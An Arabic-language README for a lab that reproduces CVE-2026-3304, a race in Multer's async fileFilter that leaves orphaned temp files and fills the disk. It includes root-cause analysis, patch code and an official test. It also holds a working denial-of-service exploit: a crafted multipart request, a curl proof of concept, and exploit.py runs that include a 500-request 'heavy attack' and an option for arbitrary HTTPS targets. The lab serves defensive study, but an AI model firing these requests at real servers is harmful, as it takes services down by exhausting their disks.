
# مختبر إعادة إنتاج لـ CVE-2026-3304، حالة سباق في async fileFilter في Multer تسبب استنزاف القرص عبر ملفات مؤقتة يتيمة. يتضمن خوادم Docker ضعيفة ومصححة، ونصوص استغلال، وتحليل السبب الجذري.
لأغراض تعليمية وبحثية فقط. مهاجمة الأنظمة دون إذن أمر غير قانوني.
تم بناء بيئة المختبر هذه من خلال تحليل تصحيح Multer 2.1.0 وكود الاختبار الرسمي الخاص به. الخادم القابل للاستغلال يحاكي الشروط الدقيقة الموضحة في اختبار التصحيح، والخادم المُصحح يعمل بإصدار Multer 2.1.0 للتأكد من أن الإصلاح يعمل.
| الحقل | التفاصيل |
|---|
| CVE | CVE-2026-3304 |
| الهدف | Multer < 2.1.0 (وسيط multipart/form-data الخاص بـ Node.js) |
| النوع | DoS — ملف يتيم (تنظيف غير مكتمل للملفات المؤقتة) |
| CWE | CWE-459: تنظيف غير مكتمل |
| CVSS 4.0 | 8.7 عالية |
| الإصدار المُصحح | Multer 2.1.0 |
طلب multipart مشوّه مع سمة name مفقودة على جزء ملف يتسبب في قيام Multer بإنشاء ملف مؤقت على القرص دون تنظيفه أبدًا. الطلبات المتكررة تستنزف مساحة القرص، مما يؤدي إلى رفض الخدمة (DoS).
تنبع الثغرة من تدفق معالجة استدعاء fileFilter داخل multer/lib/make-middleware.js.
عندما يقوم Multer ببث وتحليل طلب multipart جزءًا بجزء، يحدث التسلسل التالي:
[تسلسل أحداث التحليل — الإصدار القابل للاستغلال]
1. استلام ترويسة الجزء 1
→ استدعاء fileFilter(req, file, cb)
→ setImmediate(cb) → تأجيل الاستدعاء إلى دورة الحدث التالية
2. استلام جسم الجزء 1
→ فتح /tmp/uploads/<uuid>، وبدء كتابة البيانات
3. استلام ترويسة الجزء 2 (سمة name مفقودة)
→ يكتشف Multer 'name missing'
→ errorOccured = true ← تعيين علامة الخطأ
→ استدعاء abortWithCode('LIMIT_FIELD_KEY') → جدولة HTTP 500
4. تنفيذ استدعاء setImmediate (دورة الحدث التالية)
→ نتيجة fileFilter: includeFile = true (التدفق الطبيعي)
→ [خطأ] لا يتم فحص علامة errorOccured
→ استدعاء storage._handleFile() → الالتزام بالملف المؤقت على القرص
5. إرسال استجابة HTTP 500
→ يبقى الملف المؤقت على القرص (ملف يتيم)
make-middleware.js — Multer < 2.1.0)// استدعاء إكمال fileFilter (مؤجل عبر setImmediate)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ لا يتم فحص errorOccured هنا أبدًا
// حتى لو تم تعيين خطأ أثناء تحليل الجزء 2، يستمر التنفيذ
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// يتم تسجيل الملف المؤقت في uploadedFiles ويُترك على القرص
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
لماذا يعتبر setImmediate هو المشكلة؟
تغليف fileFilter بـ setImmediate يؤجل استدعاءه إلى دورة الحدث التالية.
في هذه النافذة، يستمر busboy (محلل multipart) في تحليل ترويسات الجزء التالي،
ويكتشف name المفقود، ويعيّن errorOccured = true.
عندما يستأنف الاستدعاء، تكون حالة الخطأ قد تم تعيينها بالفعل — لكن الكود لا يفحصها أبدًا،
لذلك يتم استدعاء storage._handleFile دون قيد أو شرط ويتم كتابة الملف المؤقت على القرص.
التزام الإصلاح: 739919097d
تمت إضافة حارس if (errorOccured) واحد مباشرة بعد دخول استدعاء fileFilter،
قبل الوصول إلى storage._handleFile.
// استدعاء إكمال fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [التصحيح] فحص errorOccured قبل المتابعة
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // تصريف التدفق — لا يتم كتابة ملف على القرص
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| العنصر | قابل للاستغلال (< 2.1.0) | مُصحح (2.1.0) |
|---|---|---|
فحص errorOccured | ❌ غير مُفحص | ✅ يُفحص فورًا عند دخول الاستدعاء |
استدعاء _handleFile عند الخطأ | نعم | محظور |
| تنظيف الملف المؤقت | ❌ مفقود | ✅ عبر fileStream.resume() |
| الملفات اليتيمة لكل طلب | 1 | 0 |
لماذا يقوم fileStream.resume() بالتنظيف:
استدعاء fileStream.resume() يصرف ويتجاهل التدفق دون تمريره إلى DiskStorage،
لذلك لا يتم كتابة أي ملف ولا يبقى شيء على القرص.
قام فريق Multer بتضمين اختبار Mocha التالي في تصحيح 2.1.0 للتحقق من الإصلاح.
أصبح هذا الاختبار المخطط الأساسي لبيئة المختبر هذه — الخادم القابل للاستغلال
يحاكي الإعداد الدقيق الموضح هنا (setImmediate fileFilter + طلب multipart مشوّه)،
ويتم التحقق من السلوك المتوقع مقابل كل من الإصدارين القابل للاستغلال والمُصحح.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| التأكيد | المعنى |
|---|---|
res.statusCode === 400 | يرفض Multer الطلب المشوّه بشكل صحيح |
files.length === 0 | لا توجد ملفات يتيمة متبقية على القرص (تم التحقق من التصحيح) |
على إصدار قابل للاستغلال (< 2.1.0)، تكون قيمة files.length مساوية لـ 1 ويفشل التأكيد.
يعكس هذا المختبر مباشرة إعداد اختبار التصحيح أعلاه.
الخادم القابل للاستغلال (Dockerfile + app/server.js) يعمل بإصدار Multer 2.0.2 مع fileFilter غير متزامن
باستخدام setImmediate — شرط التشغيل الدقيق من اختبار التصحيح:
// app/server.js — يحاكي شرط تشغيل الثغرة من اختبار التصحيح
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← يؤجل الاستدعاء، مما يخلق حالة السباق
cb(null, true)
})
}
})
الخادم المُصحح (Dockerfile.patched) يعمل بنفس server.js لكنه يثبّت Multer 2.1.0،
حيث يكون حارس errorOccured في مكانه — مطابقًا للحالة المتوقعة الناجحة لاختبار التصحيح.
| الخادم | المنفذ | Multer | السلوك المتوقع |
|---|---|---|---|
| قابل للاستغلال | 3000 | 2.0.2 | إنشاء ملف يتيم لكل طلب مشوّه |
| مُصحح | 3001 | 2.1.0 | لا ملفات يتيمة — التنظيف يعمل بشكل صحيح |
ملاحظة: تحويل
fileFilterإلى متزامن (إزالةsetImmediate) يمنع الملفات اليتيمة حتى على Multer < 2.1.0. تتطلب الثغرة كلا الشرطين:fileFilterغير متزامن و فحصerrorOccuredالمفقود.
يرسل الهجوم طلب multipart/form-data POST حيث يفتقد الجزء الثاني سمة name المطلوبة.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← الجزء 1: صالح، يتم إنشاء ملف مؤقت هنا
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← الجزء 2: name= مفقودة!
Content-Type: application/octet-stream
x
------Boundary--
التنفيذ على جانب الخادم:
1. وصول الجزء 1 → يفتح Multer /tmp/uploads/<uuid> ويبدأ الكتابة
2. استدعاء fileFilter مع setImmediate → تأجيل الاستدعاء
3. وصول الجزء 2 → يكتشف Multer اسمًا مفقودًا → errorOccured = true
4. تنفيذ setImmediate → يعمل استدعاء fileFilter
5. [خطأ] عدم فحص errorOccured → استدعاء storage._handleFile
6. كتابة الملف المؤقت على القرص
7. إرجاع HTTP 500
8. يبقى /tmp/uploads/<uuid> على القرص إلى الأبد ← ملف يتيم
استجابة الخادم:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
تحقق من الملفات اليتيمة فورًا بعد ذلك:
curl http://localhost:3000/status
pip install requests)# تشغيل الخادم القابل للاستغلال (المنفذ 3000) + الخادم المُصحح (المنفذ 3001)
docker compose up -d --build
# التحقق من تشغيل كليهما
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# الافتراضي (50 طلبًا)
python3 exploit/exploit.py
# هجوم ثقيل (500 طلب، حمولة 5 كيلوبايت لكل منها)
python3 exploit/exploit.py --count 500 --size 5120
# ضد هدف HTTPS بشهادة موقعة ذاتيًا
python3 exploit/exploit.py --target https://target.example.com --no-verify
# المقارنة مع الإصدار المُصحح
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| الهدف | النتيجة |
|---|---|
| الخادم القابل للاستغلال (3000) | إنشاء ملف يتيم لكل طلب، نمو القرص باستمرار |
| الخادم المُصحح (3001) | 0 ملفات يتيمة بغض النظر عن عدد الطلبات |
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0
[ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB
[ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB
[ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB
[ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB
[ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB
============================================================
[Result] Total requests: 50 | Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted: 100.00 KB
[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Before attack:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
After 200 requests × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
يبقى كل ملف يتيم على القرص بشكل دائم حتى تتم إعادة تشغيل الخادم أو تنظيفه يدويًا. نظام ملفات tmpfs الخاص بالحاوية محدود بـ 50 ميجابايت — الوصول إلى الحد يتسبب في فشل الخادم في عمليات الرفع الجديدة تمامًا.
Run 1: orphaned files 0 -> 50 (100 KB)
Run 2: orphaned files 50 -> 100 (200 KB)
↑ files from run 1 still present — never cleaned up
[ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[*] No orphaned files — patched version cleans up correctly
docker compose down